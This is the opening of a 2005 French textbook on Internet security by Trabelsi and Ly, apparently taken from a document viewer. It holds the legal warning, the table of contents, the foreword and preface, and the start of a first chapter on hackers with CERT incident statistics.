Vous êtes sur la page 1sur 256

La sécurité sur Internet

AVERTISSEMENT

Le but de cet ouvrage est de faire connaître les techniques de piratage pour mieux
les combattre. L’atteinte aux systèmes de traitement automatisé de données est un
délit prévu par les articles 323-1 à 323-7 du Code Pénal.
Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un
système de traitement automatisé de données est puni d'un an d'emprisonnement
et de 15000 euros d'amende. Lorsqu'il en est résulté soit la suppression ou la
modification de données contenues dans le système, soit une altération du
fonctionnement de ce système, la peine est de deux ans d'emprisonnement et de
30000 euros d'amende.
Le fait d'entraver ou de fausser le fonctionnement d'un système de traitement
automatisé de données est puni de trois ans d'emprisonnement et de 45000 euros
d'amende.
Le fait d'introduire frauduleusement des données dans un système de traitement
automatisé ou de supprimer ou de modifier frauduleusement les données qu'il
contient est puni de trois ans d'emprisonnement et de 45000 euros d'amende.
La tentative des délits prévus par les articles 323-1 à 323-3 est punie des mêmes
peines.
(Ordonnance n° 2000-916 du 19 septembre 2000 art. 3 Journal Officiel du 22
septembre 2000 en vigueur le 1er janvier 2002)

© LAVOISIER, 2005
LAVOISIER
11, rue Lavoisier
75008 Paris
Serveur web : www.hermes-science.com

ISBN 2-7462-1024-X

Tous les noms de sociétés ou de produits cités dans cet ouvrage sont utilisés à des fins
d’identification et sont des marques de leurs détenteurs respectifs.

Le Code de la propriété intellectuelle n'autorisant, aux termes de l'article L. 122-5, d'une


part, que les "copies ou reproductions strictement réservées à l'usage privé du copiste et non
destinées à une utilisation collective" et, d'autre part, que les analyses et les courtes citations
dans un but d'exemple et d'illustration, "toute représentation ou reproduction intégrale, ou
partielle, faite sans le consentement de l'auteur ou de ses ayants droit ou ayants cause, est
illicite" (article L. 122-4). Cette représentation ou reproduction, par quelque procédé que ce
soit, constituerait donc une contrefaçon sanctionnée par les articles L. 335-2 et suivants du
Code de la propriété intellectuelle.
La sécurité
sur Internet

Zouheir Trabelsi
Henri Ly
COLLECTIONS SOUS LA DIRECTION DE NICOLAS MANSON

Collection Management et Informatique


Collection Etudes et Logiciels Informatiques
Collection Nouvelles Technologies Informatiques
Collection Synthèses Informatiques CNAM
Table des matières

Avant-propos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

Mise en garde . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

Préface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

Chapitre 1. Les pirates Internet . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

1.1. Internet et piratage. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19


1.2. Les hackers et les crackers . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
1.2.1. Les hackers. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
1.2.2. Les crackers et cybercriminels connus et fichés par la police . . . 24
1.3. Les motivations des pirates . . . . . . . . . . . . . . . . . . . . . . . . . . 26
1.3.1. « Attack for fun » . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
1.3.2. La compétition. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
1.3.3. Le terrorisme politique . . . . . . . . . . . . . . . . . . . . . . . . . . 27
1.3.4. L’espionnage industriel . . . . . . . . . . . . . . . . . . . . . . . . . 28
1.3.5. Les motivations financières . . . . . . . . . . . . . . . . . . . . . . . 28
1.4. Les principaux sites couramment attaqués . . . . . . . . . . . . . . . . . 28
1.5. Les sources d’information des pirates . . . . . . . . . . . . . . . . . . . . 30
1.6. La lutte anti-piratage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31

Chapitre 2. Les protocoles TCP/IP et les services Internet :


notions de base pour la compréhension des attaques . . . . . . . . . . . . . . 35

2.1. Historique des protocoles TCP/IP. . . . . . . . . . . . . . . . . . . . . . . 35


2.2. Avantages des protocoles TCP/IP. . . . . . . . . . . . . . . . . . . . . . . 36
6 La sécurité sur Internet

2.3. Architecture des protocoles TCP/IP . . . . . . . . . . . . . . . . . . . . . 37


2.4. L’adressage Internet. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
2.4.1. Adresses IP particulières. . . . . . . . . . . . . . . . . . . . . . . . . 40
2.4.2. Les classes des adresses IP . . . . . . . . . . . . . . . . . . . . . . . 40
2.4.3. Le NIC (Network Information Center) . . . . . . . . . . . . . . . . 41
2.5. Principe de routage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
2.6. Les protocoles ARP et RARP . . . . . . . . . . . . . . . . . . . . . . . . . 43
2.7. Le protocole IP. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
2.7.1. Structure des datagrammes IP. . . . . . . . . . . . . . . . . . . . . . 47
2.7.2. Fragmentation des datagrammes . . . . . . . . . . . . . . . . . . . . 48
2.8. Le protocole ICMP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
2.8.1. Format des messages ICMP . . . . . . . . . . . . . . . . . . . . . . . 50
2.8.2. Format des messages ICMP de commande . . . . . . . . . . . . . . 53
2.8.3. Format des messages ICMP d’erreur . . . . . . . . . . . . . . . . . 53
2.9. Le protocole UDP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
2.10. Le protocole TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
2.10.1. Principe de la fenêtre glissante . . . . . . . . . . . . . . . . . . . . 57
2.10.2. Format du segment TCP . . . . . . . . . . . . . . . . . . . . . . . . 58
2.10.3. Etablissement d’une connexion TCP . . . . . . . . . . . . . . . . . 60

Chapitre 3. Les vulnérabilités au sein des systèmes


d’informations et d’Internet. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63

3.1. Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
3.2. Les trous des applications . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
3.3. Les vulnérabilités des interfaces CGI (Common Gateway Interfaces) . 66
3.4. Les services non cryptés . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
3.5. Les comptes par défaut . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
3.6. Les problèmes du DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
3.7. Les permissions des fichiers . . . . . . . . . . . . . . . . . . . . . . . . . . 70
3.8. Les problèmes des services Telnet et FTP . . . . . . . . . . . . . . . . . . 70
3.9. Les problèmes du protocole ICMP . . . . . . . . . . . . . . . . . . . . . . 72
3.10. Les problèmes du protocole SMTP . . . . . . . . . . . . . . . . . . . . . 73
3.11. Les problèmes des protocoles IMAP, POP3 et POP2 . . . . . . . . . . 75
3.12. Les modems. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
3.13. Défaut de pilotage et de détection . . . . . . . . . . . . . . . . . . . . . . 77
3.14. Les problèmes des architectures des réseaux . . . . . . . . . . . . . . . 77
3.15. Les vulnérabilités du NFS (Network File System) . . . . . . . . . . . . 78
3.16. Les problèmes de Windows NT (les fichiers partagés) . . . . . . . . . 79
3.17. Les connexions de type Null de Windows NT . . . . . . . . . . . . . . 79
3.18. Les problèmes des mots de passe et des Id utilisateurs . . . . . . . . . 80
3.19. Les problèmes des services d’administrations à distance . . . . . . . . 81
Table des matières 7

3.20. Les problèmes du RPC (Remote Procedure Call) . . . . . . . . . . . . 82


3.21. Les services installés par défaut . . . . . . . . . . . . . . . . . . . . . . . 82
3.22. Les problèmes du protocole SNMP . . . . . . . . . . . . . . . . . . . . . 83
3.23. Les virus et les codes cachés . . . . . . . . . . . . . . . . . . . . . . . . . 83
3.24. Les vulnérabilités des serveurs Web . . . . . . . . . . . . . . . . . . . . 84
3.25. Management des vulnérabilités . . . . . . . . . . . . . . . . . . . . . . . 85

Chapitre 4. La phase de reconnaissance . . . . . . . . . . . . . . . . . . . . . . 87

4.1. Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
4.2. La reconnaissance sans technologie spécifique . . . . . . . . . . . . . . . 88
4.2.1. Le social engineering . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
4.2.2. Accès physique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
4.3. La reconnaissance par ordinateur . . . . . . . . . . . . . . . . . . . . . . . 89
4.3.1. La commande Whois . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
4.3.2. La commande Lookup . . . . . . . . . . . . . . . . . . . . . . . . . . 90
4.3.3. La commande ping . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
4.4 Les outils de reconnaissance . . . . . . . . . . . . . . . . . . . . . . . . . . 94
4.4.1. Les outils de reconnaissance à base de client. . . . . . . . . . . . . 95
4.4.2. Les outils de reconnaissance à base de Web . . . . . . . . . . . . . 96
4.5. Management et diffusion des informations . . . . . . . . . . . . . . . . . 97

Chapitre 5. La phase de scanning et d’analyse des vulnérabilités . . . . . . 99

5.1. Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
5.2. Identification des systèmes d’exploitation. . . . . . . . . . . . . . . . . . 99
5.3. Le scanning des ports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
5.3.1. Identification des applications . . . . . . . . . . . . . . . . . . . . . 101
5.4. Le War-dialing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
5.4.1. Concepts généraux . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
5.4.2. Les outils de War-dialing . . . . . . . . . . . . . . . . . . . . . . . . 103
5.4.3. Après le War-dialing . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
5.5. Recherche dans les bases de données des vulnérabilités . . . . . . . . . 105
5.6. Les scanners de vulnérabilités automatiques . . . . . . . . . . . . . . . . 106
5.6.1. Concepts généraux . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
5.6.2. Les scanners à base de réseau et à base d’hôte . . . . . . . . . . . . 107
5.6.3. Faiblesses des scanners de vulnérabilités . . . . . . . . . . . . . . . 108
5.6.4. Les outils . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
5.6.5. Génération de rapports de vulnérabilité . . . . . . . . . . . . . . . . 110
8 La sécurité sur Internet

Chapitre 6. La phase d’intrusion et d’attaque . . . . . . . . . . . . . . . . . . 117

6.1. Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117


6.2. Les attaquants . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
6.2.1. Les débutants. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
6.2.2. Les attaquants confirmés . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
6.3. Les sniffers et les anti-sniffers . . . . . . . . . . . . . . . . . . . . . . . . . 118
6.3.1. Les anti-sniffers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
6.3.2. Un scénario d’attaque avec un sniffer . . . . . . . . . . . . . . . . . 121
6.4. L’attaque de détournement de session . . . . . . . . . . . . . . . . . . . . 123
6.4.1. Les types de détournement de session . . . . . . . . . . . . . . . . . 124
6.4.2. Les outils de détournement de session. . . . . . . . . . . . . . . . . 125
6.4.3. Les dangers de détournement de session . . . . . . . . . . . . . . . 126
6.4.4. Protection contre le détournement de session . . . . . . . . . . . . 126
6.5. Le spoofing des adresses IP et des adresses emails . . . . . . . . . . . . 127
6.5.1. Le spoofing des adresses IP . . . . . . . . . . . . . . . . . . . . . . . 127
6.5.1.1. Le changement des adresses IP. . . . . . . . . . . . . . . . . . 128
6.5.1.2. Routage stricte et lâche . . . . . . . . . . . . . . . . . . . . . . 128
6.5.1.3. Relations de confiance entre les machines Unix . . . . . . . 129
6.5.2. Le spoofing des adresses emails . . . . . . . . . . . . . . . . . . . . 130
6.5.2.1. Modification du client mail . . . . . . . . . . . . . . . . . . . . 131
6.5.2.2. Telnet au port 25 . . . . . . . . . . . . . . . . . . . . . . . . . . 131
6.6. Les attaques par saturation de mémoire . . . . . . . . . . . . . . . . . . . 132
6.6.1. La recherche des vulnérabilités de saturation de mémoire . . . . . 132
6.6.2. Les différents types d’attaque de saturation de mémoire . . . . . . 133
6.6.3. La protection contre les attaques de saturation de mémoire . . . . 134

Chapitre 7. Les attaques de déni de service . . . . . . . . . . . . . . . . . . . . 137

7.1. Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137


7.2. Les types d’attaques de déni de service . . . . . . . . . . . . . . . . . . . 138
7.2.1. L’attaque du « ping de la mort » . . . . . . . . . . . . . . . . . . . . 138
7.2.2. L’attaque Land . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139
7.2.3. L’attaque par inondation de SYN (« SYN flooding »). . . . . . . . 141
7.2.4. L’attaque Smurf . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142
7.2.5. L’attaque WinNuke. . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
7.3. Les outils combinés de déni de service. . . . . . . . . . . . . . . . . . . . 144
7.4. L’attaque de déni de service distribué . . . . . . . . . . . . . . . . . . . . 145
7.4.1. Le principe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145
7.4.2. Les outils de déni de service distribués . . . . . . . . . . . . . . . . 146
7.5. Les outils de déni de service du marché . . . . . . . . . . . . . . . . . . . 147
7.6. La prévention des attaques de déni de service . . . . . . . . . . . . . . . 149
Table des matières 9

7.6.1. Conception robuste et efficiente . . . . . . . . . . . . . . . . . . . . 149


7.6.2. Limitations de la bande passante . . . . . . . . . . . . . . . . . . . . 150
7.6.3. Mise à jour fréquente des systèmes : les patchs . . . . . . . . . . . 150
7.6.4. Exécution d’un minimum de services . . . . . . . . . . . . . . . . . 150
7.6.5. Limitation du trafic . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
7.6.6. Blocage des adresses IP . . . . . . . . . . . . . . . . . . . . . . . . . 151
7.7. La prévention des attaques DDoS. . . . . . . . . . . . . . . . . . . . . . . 151
7.7.1. Sécurisation du réseau . . . . . . . . . . . . . . . . . . . . . . . . . . 151
7.7.2. Installation d’un système de détection des intrusions . . . . . . . . 152
7.7.3. Utilisation des outils de scanning. . . . . . . . . . . . . . . . . . . . 152
7.7.4. Utilisation de l’outil Zombie . . . . . . . . . . . . . . . . . . . . . . 153

Chapitre 8. Les problèmes et attaques des mots de passe . . . . . . . . . . . 155

8.1. Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155


8.2. Problème des mots de passe par défaut . . . . . . . . . . . . . . . . . . . 155
8.3. L’obtention des mots de passe par script. . . . . . . . . . . . . . . . . . . 156
8.4. Le craquage et le stockage des mots de passe. . . . . . . . . . . . . . . . 157
8.5. Les techniques de craquage des mots de passe . . . . . . . . . . . . . . . 157
8.5.1. Attaque des dictionnaires . . . . . . . . . . . . . . . . . . . . . . . . 158
8.5.2. L’attaque de « Brute Force » . . . . . . . . . . . . . . . . . . . . . . 158
8.5.3. L’attaque hybride . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159
8.6. Les outils de craquage des mots de passe . . . . . . . . . . . . . . . . . . 159
8.6.1. L0phtCrack. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159
8.6.2. John The Ripper. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161
8.7. Les défenses contre les attaques de craquages des mots de passe . . . . 162
8.7.1. Une politique forte de sécurité . . . . . . . . . . . . . . . . . . . . . 162
8.7.2. La prise de conscience des utilisateurs . . . . . . . . . . . . . . . . 163
8.7.3. Les outils de filtrage des mots de passe . . . . . . . . . . . . . . . . 163
8.7.4. Les outils d’authentification. . . . . . . . . . . . . . . . . . . . . . . 164
8.7.4.1. Les mots de passe à usage unique . . . . . . . . . . . . . . . . 164
8.7.4.2. La biométrie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165
8.7.5. L’inventaire des comptes actifs . . . . . . . . . . . . . . . . . . . . . 165
8.7.6. La protection des fichiers des mots de passe . . . . . . . . . . . . . 166
8.7.7. Audit concernant les accès aux fichiers clés . . . . . . . . . . . . . 166

Chapitre 9. Les problèmes de virus . . . . . . . . . . . . . . . . . . . . . . . . . 169

9.1. Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169


9.2. Histoire des virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169
9.3. Qui développe les virus ?. . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
10 La sécurité sur Internet

9.4. Les divers types de virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171


9.4.1. Les virus résidents en mémoire . . . . . . . . . . . . . . . . . . . . . 171
9.4.2. Les virus non résidents en mémoire . . . . . . . . . . . . . . . . . . 172
9.4.3. Les Chevaux de Troie . . . . . . . . . . . . . . . . . . . . . . . . . . 173
9.4.4. Les virus multiformes . . . . . . . . . . . . . . . . . . . . . . . . . . 177
9.4.5. Les virus furtifs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177
9.4.6. Les bombes logiques . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
9.4.7. Les mutants ou virus polymorphes . . . . . . . . . . . . . . . . . . . 178
9.4.8. Les virus macros . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
9.4.9. Les virus créés sous Visual Basic . . . . . . . . . . . . . . . . . . . 181
9.4.10. Les vers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
9.4.11. Les hoax ou les canulars . . . . . . . . . . . . . . . . . . . . . . . . 182
9.5. Les causes de contamination. . . . . . . . . . . . . . . . . . . . . . . . . . 183
9.5.1. Les disquettes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183
9.5.2. Les exécutables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183
9.5.3. Les fichiers de données . . . . . . . . . . . . . . . . . . . . . . . . . 183
9.5.4. Les messages électroniques . . . . . . . . . . . . . . . . . . . . . . . 183
9.5.5. Le réseau . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184
9.6. Symptômes et détections . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184
9.7. Parade et élimination . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
9.7.1. Où installer un antivirus ? . . . . . . . . . . . . . . . . . . . . . . . . 187
9.7.2. Comment lutter contre les virus . . . . . . . . . . . . . . . . . . . . 188

Chapitre 10. Les scénarios d’attaques . . . . . . . . . . . . . . . . . . . . . . . 195

10.1. L’obtention des informations bancaires (cartes de crédits) . . . . . . . 195


10.2. Attaque du serveur Web Microsoft IIS : la faille Unicode . . . . . . . 198
10.3. Accès aux répertoires et fichiers partagés : attaque de NetBios . . . . 202
10.4. Les attaques ARP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
10.4.1. L’attaque du « ARP spoofing » . . . . . . . . . . . . . . . . . . . . 207
10.4.2. L’attaque du sniffing dans un réseau commuté . . . . . . . . . . . 208
10.4.3. L’attaque de diffusion (Broadcasting) . . . . . . . . . . . . . . . . 209
10.4.4. L’attaque de déni de service . . . . . . . . . . . . . . . . . . . . . . 210
10.4.5. L’attaque de Clonage (Cloning). . . . . . . . . . . . . . . . . . . . 210
10.4.6. Les outils d’attaque ARP. . . . . . . . . . . . . . . . . . . . . . . . 210
10.4.7. Les défenses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
10.5. Espionnage interne sur un même réseau . . . . . . . . . . . . . . . . . . 212
10.5.1. La lecture des emails des collègues. . . . . . . . . . . . . . . . . . 212
10.5.2. Identifier les sites Web visités par les collègues . . . . . . . . . . 213
10. 6. L’obtention des mots de passe des serveurs. . . . . . . . . . . . . . . . 214
10.7. Le risque de falsification des messages avioniques air-sol . . . . . . . 215
Table des matières 11

Chapitre 11. Les solutions de sécurisation . . . . . . . . . . . . . . . . . . . . . 219

11.1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219


11.2. Protection individuelle minimale . . . . . . . . . . . . . . . . . . . . . . 220
11.2.1. Installer un outil de filtrage de paquet (firewall personnel). . . . 220
11.2.2. Cacher les fichiers et répertoires . . . . . . . . . . . . . . . . . . . 222
11.2.3. Sauvegarder vos données. . . . . . . . . . . . . . . . . . . . . . . . 223
11.2.4. Inhiber la possibilité de partage des ressources. . . . . . . . . . . 223
11.2.5. Désactiver les Scritps VBS, Active X et des JavaScripts . . . . . 224
11.2.5.1. Désactiver les scripts . . . . . . . . . . . . . . . . . . . . . . . 224
11.2.5.2. Désactiver ActiveX. . . . . . . . . . . . . . . . . . . . . . . . 224
11.2.5.3. Désactiver JavaScripts . . . . . . . . . . . . . . . . . . . . . . 225
11.2.5.4. Désactiver Java . . . . . . . . . . . . . . . . . . . . . . . . . . 225
11.3. Les architectures de défense . . . . . . . . . . . . . . . . . . . . . . . . . 226
11.4. Management par simulation des attaques . . . . . . . . . . . . . . . . . 234
11.5. Plan de sécurité de l'entreprise . . . . . . . . . . . . . . . . . . . . . . . . 235
11.6. Les techniques combinées . . . . . . . . . . . . . . . . . . . . . . . . . . 236

Bibliographie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 237

Annexe. Références, outils et sites web . . . . . . . . . . . . . . . . . . . . . . . 239

Lexique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247
Avant-propos

Durant ces dernières années, le piratage et les contaminations des systèmes


informatiques par des virus ont fait souvent la une des journaux. Il n’en demeure pas
moins que plusieurs ingénieurs systèmes ou grands managers d’entreprises croient
encore que ces phénomènes « n’arrivent qu’aux autres » car trop éloignés du terrain,
peut-être. Cependant les chiffres concernant les organisations touchées sont
inquiétants (voir le site : www.cert.org) si l’on prend en compte, en plus de
l’insuffisance de la sécurisation, l’absence d’une politique de sécurité et une
mauvaise mise en oeuvre. Le premier chapitre relate des faits et les récents chiffres
enregistrés sont là pour convaincre les sceptiques.

Dans un contexte fortement concurrentiel, l’entreprise se doit de fonctionner avec


sérénité, avec sécurité, de survivre, de se rendre compétitive et de conquérir les
marchés. Or les entreprises privées ou les institutions gouvernementales sont de plus
en plus informatisées voire fortement interconnectées avec les autres systèmes et avec
l’Internet, donc fortement exposées. De ce fait, la perte des informations et la paralysie
des systèmes informatiques et des réseaux sont des risques qui devraient être pris au
sérieux. Sans oublier le fait que leurs données, leur travail ou leurs inventions qui sont
stockés dans ces systèmes risquent de se volatiliser... Enfin la perte de la crédibilité et
de la confiance de leurs clients et fournisseurs pourraient aussi mettre en danger leur
pérennité ou contribuer à leur faillite.

A notre connaissance, il n’existe, ni dans le commerce ni dans les travaux


académiques, de livre assez complet pour guider le lecteur à partir d’une
compréhension basique des concepts de réseaux (et des points faibles), jusqu’à
l’approche d’une méthode de sécurisation (avec des contre-mesures), en passant par
les vulnérabilités et les scénarios d’attaque des pirates.
14 La sécurité sur Internet

Sachant pertinemment que le risque zéro n’existe pas, nous n’avons donc
nullement l’ambition de proposer au lecteur la solution miracle pour la sécurisation
des systèmes et des réseaux. Par ce travail, nous espérons, ajouter une pierre à cet
immense édifice qu’est la sécurité Internet.

Ce livre, fruit de nos expériences professionnelles et professorales, s’adresse


principalement aux :
– directeurs et responsables informatiques de l’entreprise dont les fonctions
englobent la sécurité des réseaux et systèmes ;
– administrateurs de réseaux, responsables des serveurs mandataires et des
proxys ;
– ingénieurs systèmes ;
– étudiants des écoles d’ingénieurs, des instituts spécialisés, et de certains
DESS ;
– consultants et les organisateurs qui n’ont pas encore eu l’occasion d’aborder ce
domaine compte tenu de l’évolution trop rapide des problèmes de réseaux et du
Web ;

Ce livre fournira aux lecteurs une présentation des faits marquants et


dévastateurs pour les sensibiliser aux problèmes des attaques et des intrusions ; une
connaissance basique des protocoles TCP/IP pour la compréhension des
vulnérabilités présentées associées aux attaques ; des scénarios de piratages et
d’intrusions ; une approche de sécurisation.

Enfin, nous n’avons pas la prétention de transformer le lecteur intéressé par le


processus d’identification des vulnérabilités, des faiblesses des systèmes et des
réseaux en expert en matière de sécurité. Toutefois si cet ouvrage réussit à le
sensibiliser, à l’aider à s’entourer des précautions nécessaires, nous aurons alors
atteint nos objectifs...

Nous voudrions ici remercier tous ceux qui nous ont aidé à faire ce travail.

Zouheir TRABELSI doit une reconnaissance particulière à M. Yacoub GHERISSI


pour la révision.

Henri LY voudrait remercier Bernard KING qui a eu la gentillesse et la sympathie


de préfacer ce livre, Monsieur Victor AGUADO, son Directeur général pour son
soutien, Jean Luc GARNIER ainsi que Philippe DEWALLE et Stéphane COLSON qui
ont révisé ce document.

Zouheir TRABELSI et Henri LY


Mise en garde

L’un des objectifs de ce livre étant de sensibiliser les responsables et les


ingénieurs gestionnaires des réseaux aux problèmes du piratage, certaines parties
dévoilent les techniques d’intrusion et d’attaque des systèmes et des réseaux.

Les auteurs sont convaincus que, pour combattre les pirates, la connaissance de
leurs techniques et de leurs approches est indispensable. Cependant un lecteur mal
intentionné peut exploiter les éléments exposés pour réaliser des actes illicites qui
sont d’ailleurs sévèrement punies par la loi de par le monde.

Les auteurs déclinent donc toute responsabilité pour l’utilisation abusive des
informations et des techniques et/ou outils présentés dans le présent ouvrage.

Les auteurs
Préface

L’importance de l’informatique et de l’Internet en particulier, pour nos


entreprises, nos industries, nos gouvernements, nos moyens de transport, notre
société entière, et pour chacun de nous en tant qu’individu et citoyen, poursuit une
progression fulgurante depuis une décennie. Ceci paraît évident, mais il serait
salutaire de réfléchir un instant à cette dépendance presque totale qui s’installe
insidieusement dans nos vies. L’informatique, dans nos esprits et dans nos habitudes
quotidiennes, est devenue comme l’eau potable, l’air pur, l’électricité et le télé-
phone : elle est là, partout, omniprésente et nous en avons constamment besoin.
Mais si d’aventure elle n’est plus là, ou si elle est “polluée”, c’est alors au mieux la
consternation et le dérangement, au pire la panique et la catastrophe pouvant
entraîner des pertes financières.

Et pourtant, tous les services informatiques dont nous dépendons sont des denrées
fragiles, constituées d’innombrables composants matériels, logiciels et humains,
devant fonctionner en parfaite symbiose jour après jour, heure après heure,
microseconde par microseconde. Ces services doivent assurer des niveaux de
disponibilité, de fiabilité, de performance, et de garanties d’intégrité comparables aux
exigences rencontrées dans les domaines tels que ceux de l’énergie nucléaire et de
l’exploration spatiale, mais doivent les réaliser à une échelle infiniment plus grande.

Ces divers composants sont sujets à des défaillances matérielles et humaines,


mais aussi à des attaques d’intention criminelle, malveillante ou de simple
divertissement technique. La fraude financière, l’espionnage industriel, le terrorisme
et la bêtise humaine sont tous des domaines où l’informatique est devenue à la fois
une cible et une arme via l’Internet.

D’où l’importance du sujet traité par ce livre, la sécurité informatique et Internet,


pour nous défendre contre ces défaillances et ces attaques, afin que notre
18 La sécurité sur Internet

dépendance à l’informatique puisse continuer d’évoluer sans courir à la catastrophe.


Que les spécialistes techniques qui travaillent à la sécurité de nos systèmes s’en
inspirent, mais aussi, et peut-être surtout, que chacun de nous en tant qu’utilisateur
ou responsable de l’informatique, prenne pleinement conscience de l’importance de
la sécurité pour la survie de la «civilisation informationnelle et nécessaire» que nous
créons…

Bernard KING
B.Sc Engineering, Chartered Engineer (GB)
Responsable “Management Information Services”
Organisation européenne pour la sécurité aérienne
Chapitre 1

Les pirates Internet

1.1. Internet et piratage

Avant d’aborder les problèmes techniques, nous allons dresser l’état des lieux du
monde des internautes et présenter quelques chiffres. Dans sa livraison mensuelle de
novembre 1999, le magazine Le Management signale qu’à cette époque il y a 148
millions de surfeurs, dont 52 % d’Américains. La France compte 5 millions
d’internautes environ et un internaute surfe en moyenne 2 h 41 par semaine. Nous y
apprenons également qu’un internaute visite, en moyenne et par connexion, 4 sites et
totalise 29 minutes de consultation par jour. D’autre part, il existe 11 millions de
domaines dont 6,6 millions se terminent par « .com »1. Ces chiffres montrent
qu’avec un nombre aussi important et appelé à grandir, le risque est de plus en plus
énorme. En effet, si seulement 0,5% de ces utilisateurs possédaient de mauvaises
intentions, cela représenterait déjà 25000 personnes susceptibles d’être des pirates
pour les entreprises ou les particuliers. Les menaces sont donc réelles et très
probables.

L’expérience des dix dernières années a démontré que le professionnel de


l’informatique travaille en moyenne dans trois entreprises différentes et plus de la

1 Extension qui désigne une activité commerciale et/ou de communication.


20 La sécurité sur Internet

moitié des entreprises ou institutions a subi des attaques (email bombing, virus,
dénis de services (DoS)…).

Selon le CERT2, le nombre d’incidents signalés entre 1988 et 2003 est de


319 992. En voici le détail :

Le nombre d’incidents signalés :

1988-1989

Année 1988 1989

Incidents 6 132

1990-1999

Année 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999

Incidents 252 406 773 1,334 2,340 2,412 2,573 2,134 3,734 9,859

2000-2003

Année 2000 2001 2002 2003

Incidents 21,756 52,658 82,094 137,529

Selon ces statistiques, 2000 constitue un tournant décisif, puisqu’on vient de


franchir la barre des 20 000 attaques.

Dans ce qui suit, nous allons nous intéresser au cas des années 2000-2001 et
essayer de comprendre le phénomène. En l’an 2000, lors du passage au troisième
millénaire, environ 50 000 virus3 et variantes ont été répertoriés.

Durant cette année, de nombreux « comback »4 ont fait leur apparition : Brain,
Pakistan I, I love you…. La liste serait longue mais les plus ravageurs étaient :

2 Computer Emergency Response Team : www.cert.org.


3 Le décalage entre le nombre des virus et le nombre des incidents est grand. Ceci est dû au
fait que beaucoup de victimes ne déclarent pas les attaques
4 Virus connus ayant déjà fait des ravages par le passé.
Les pirates Internet 21

Melissa, CHI (Chernobyl), Win 32/Ska (ou Happy 99). Avec ces virus, les
techniques email bombing et les DoS ont contribué aux ravages.

Les systèmes d’exploitation victimes des attaques se répartissent comme suit :


– 52% pour le système d’exploitation Windows,
– 45% Unix
– et 2% divers systèmes incluant Mac OS et Palm.

Parmi les attaques les plus spectaculaires, pour le seul mois de février 2000, on
peut citer celles qui ont visé Yahoo.com, eBay.com et Amazon.com5. Les non
